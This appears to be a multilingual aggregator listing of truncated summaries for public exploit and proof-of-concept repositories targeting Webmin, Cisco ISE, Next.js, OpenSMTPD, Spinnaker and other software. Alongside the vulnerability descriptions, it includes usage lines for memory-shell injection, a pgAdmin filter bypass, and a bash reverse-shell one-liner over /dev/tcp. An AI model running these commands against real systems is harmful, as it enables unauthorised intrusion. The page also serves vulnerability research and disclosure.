CVE-2012-2982-Webmin-Exploit

Webmin 1.590 リモートコマンド実行エクスプロイト CVE-2012-2982 概要 このリポジトリには、Webmin バージョン 1.590 以前 に影響するリモート認証済みコマンド実行の脆弱性である CVE-2012-2982 の Proof-of-Concept PoC エクスプロイトが含まれています。この脆弱性は /file/show.cgi エンドポイントに存在し、攻撃者は操作したリクエストに特殊文字（| パイプ記号など）を注入することで任意のコマンドを実行できます。 本 PoC は教育およびセキュリティ研究目的のみ...

GL.iNet-Multiple-Vulnerabilities

GL.iNet の複数の脆弱性 このリポジトリには、以下の脆弱性のエクスプロイトが含まれています： CVE-2023-46454: GL.iNET GL-AR300M ルーター（ファームウェア v4.3.7）において、パッケージ情報機能で細工されたパッケージ名を介して任意のシェルコマンドを注入することが可能です。 CVE-2023-46455: GL.iNET GL-AR300M ルーター（ファームウェア v4.3.7）において、OpenVPN クライアントのファイルアップロード機能でパストラバーサル攻撃を介して任意のファイルを書き込むことが可能です。 CVE-2023-46456:...

CVE-2025-20281-2-Cisco-ISE-RCE

CVE-2025-20281-2-Cisco-ISE-RCE 针对 Cisco ISE API 的 CVE-2025-20281 RCE 的未授权 Python PoC CVE-2025-20281 未授权 PoC 一个极简的 Python 概念验证脚本，通过向 InternalUser 资源中注入任意 shell 命令，利用 Cisco ISE 的 ERS API 中的未授权 RCE（CVE-2025-20281）。 警告： 仅在您拥有或获得明确授权的系统上运行。滥用此工具是违法的。 特性 无需身份验证 支持两种模式： --whoami：在目标上运行 whoami 并显示 HTTP 响...

CVE-2022-22947

CVE-2022-22947 メモリシェル注入 3種類のメモリシェル注入をサポート root@kitploit: Usage: usage -t -u Options: -h, --help show this help message and exit -t TYPE switch one : spring, netty, godzilla -u URL url Godzillaシェル注入を例として root@kitploit: python3 -t godzilla -u http://127.0.0.1 参考記事...

CVE-2024-36401-WoodpeckerPlugin

CVE-2024-36401-WoodpeckerPlugin はじめに CVE-2024-36401 のバッチ検出と利用、カスタムメモリーシェル注入をサポート 1. バッチ検出可能 2. URLアドレスのバックエンドは既にフィルタリング済み（URLをそのまま送るだけで良い） 3. カスタム生成したメモリーシェルを注入可能（デフォルトのメモリーシェル注入にはインジェクタークラス名が追加されています: java.lang.test 「目的はJDK11でのdefineAnonymousClassバイパス」） インストール ソースコードをダウンロードして実行 root@kitploit: mv...

ForgottenButNotGone

被遗忘但并未消失 本仓库包含在 Black Hat USA 2026 和 DEF CON 34 演讲“被遗忘但并未消失：遗留 Linux 服务中的未认证 RCE 与 LPE”中所述漏洞的概念验证脚本。 CVE-2026-28372 TelnetD 中的本地权限提升：无特权攻击者可利用 TelnetD 的环境变量功能为其授予 root 权限的 shell。按照设计和 RFC，Telnet 协议允许其客户端为 shell 会话设置环境变量。该功能从安全角度来看设计得很差。该服务允许未认证客户端为 telnetd 进程本身及其所有子进程设置环境变量。其子进程之一是...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 の脆弱性スキャンおよびエクスプロイトツール。Next.js アプリケーションのリモートコード実行脆弱性を対象としています。バッチ検出、コマンド実行、哥斯拉メモリシェル注入、リバースシェル機能をサポートします。 ⚠️ 本ツールはセキュリティ研究および許可されたテスト目的でのみ使用してください。不正使用は禁止です。 特徴 マルチターゲットスキャン ：単一URL、ファイルリスト（1行1URL）、複数の.txtファイルを含むフォルダをサポート。 マルチスレッド並行処理...

CVE-2025-13780

CVE-2025-13780: pgAdmin 4 = 8.14 RCE スキャナー CVE-2025-13780 用の包括的な脆弱性スキャナーです。これは pgAdmin 4 バージョン ≤ 8.14 におけるリモートコード実行 RCE 脆弱性です。 🔍 脆弱性の詳細 この脆弱性は pgAdmin 4 の 復元 Restore 機能に存在します。アプリケーションは正規表現を用いて危険なシェルコマンド（\ で始まるもの）をブロックしようとします。しかし、このチェックは回避可能です。 脆弱な正規表現 : ^|\n \t\ 回避方法 : 1. UTF-8 BOM : \xef\xbb\xbf...

spring_cloud_gateway_memshell

CVE-2022-22947 memshell このスクリプトは不完全で、学習用途のみです。不正に使用しないでください。 c0ny1 氏のブログを基に作成した学習用スクリプトで、netty と spring のメモリシェルを書き込むことができます。 テスト環境は vulhub です。 root@kitploit: eg:xx.py http://127.0.0.1:8080 netty whoami...

poc-rebar3

Rebar3 Shell 注入（CVE-2020-13802） 概念验证 root@kitploit: git clone https://github.com/vulnbe/poc-rebar3.git cd poc-rebar3 rebar3 clean 致谢 Alexey Pronin @vulnbe 参考 Rebar3 漏洞分析 漏洞修复 PR CVE-2020-13802 CWE-78：OS 命令中特殊元素的不当中和（'OS 命令注入'）...

CVE-2020-7247

CVE-2020-7247 この脆弱性は、OpenBSDのメールサーバOpenSMTPDの「smtpmailaddr」関数に存在し、OpenBSDバージョン6.6に影響を与えます。これにより、攻撃者はrootユーザーとして「sleep 66」などの任意のシェルコマンドを実行できます。 使い方 python3 getShell.py リバースシェルが必要な場合は、次のように実行します。 python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要 このエクスプロイト内のRCPT...

CVE-2026-54575

mport is the MidnightBSD Package Manager. Prior to 2.7.8, privileged package fetch and cache-cleaning operations used race-prone path handling across libmport/fetch.c, libmport/clean.c, libmport/util.c, libmport/bundlereadinstallpkg.c, libmport/deleteprimative.c, and...

CVE-2020-16846-Saltstack-Salt-API

CVE-2020-16846-Saltstack-Salt-API 漏洞说明：在 SaltStack Salt 至 3002 版本中发现了一个问题。当 SSH 客户端启用时，向 Salt API 发送特制的 Web 请求可能导致 shell 注入。关于此漏洞的详细信息可在此处找到： https://www.zerodayinitiative.com/blog/2020/11/24/detailing-saltstack-salt-command-injection-vulnerabilities 为了练习和学习目的，我决定创建一个存在漏洞的实例并利用它。...

@cyclonedx/cyclonedx-npm: Shell Injection via Unsanitized --workspace Argument on Windows

Summary A Windows-specific command injection vulnerability exists in @cyclonedx/cyclonedx-npm when the CLI is invoked with the --workspace option. User-supplied --workspace values can be passed to a shell command without proper neutralization on the Windows fallback execution path, enabling...

CVE-2026-71538

@cyclonedx/cyclonedx-npm prior to 6.0.0 is vulnerable to a Windows-specific shell injection in the fallback execution path of src/npmRunner.ts, used when npm_execpath does not resolve the npm CLI. An untrusted value passed to the --workspace option is incorporated into a shell command without san...

vulnx

VulnX Vulnx 🕷️ は、複数種類のCMSの脆弱性を検出するインテリジェントボット自動シェルインジェクターです。...

poc-yaws-cgi-shell-injection

Yaws Web 服务器中的操作系统命令注入（CVE-2020-24916） 概念验证 构建测试镜像： docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . 和/或 运行容器 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi root@kitploit: curl...

spinnaker-poc

Spinnaker 漏洞 PoC 针对 CVE-2026-32604 和 CVE-2026-32613 的概念验证演示，这两个 Spinnaker 中严重程度为 10.0 的漏洞可导致代码执行和生产云凭证窃取。 如何使用这些 PoC 的视频演示 包含更多细节的技术博客 漏洞 Git 克隆 Shell 注入（CVE-2026-32604，CWE-78） Clouddriver 的工件获取端点在基于 HTTP 的 Git 认证时，会将用户提供的分支名称未经清理地传入 sh -c 命令。任何已认证用户都可以通过 PUT /artifacts/fetch 注入 shell 命令，从而在...

CVE-2026-92580

AVideo through 29.0 in the CloneSite plugin is vulnerable to stored OS command injection. In plugin/CloneSite/cloneClient.json.php (~line 270), the stored SSH password is substituted into the command sshpass -p '{password}' rsync ... via a plain str_replace with no escaping, so a single quote bre...

CVE-2026-30225-OliveTin-RCE

OliveTin — ejecución de acciones no autenticada → RCE + CVE-2026-30225 PoC para escalada de privilegios / ejecución remota de código contra instancias de OliveTin que se ejecutan con los valores predeterminados de invitado incluidos. Verificado contra OliveTin 3000.10.0 ejecutándose como root HTB...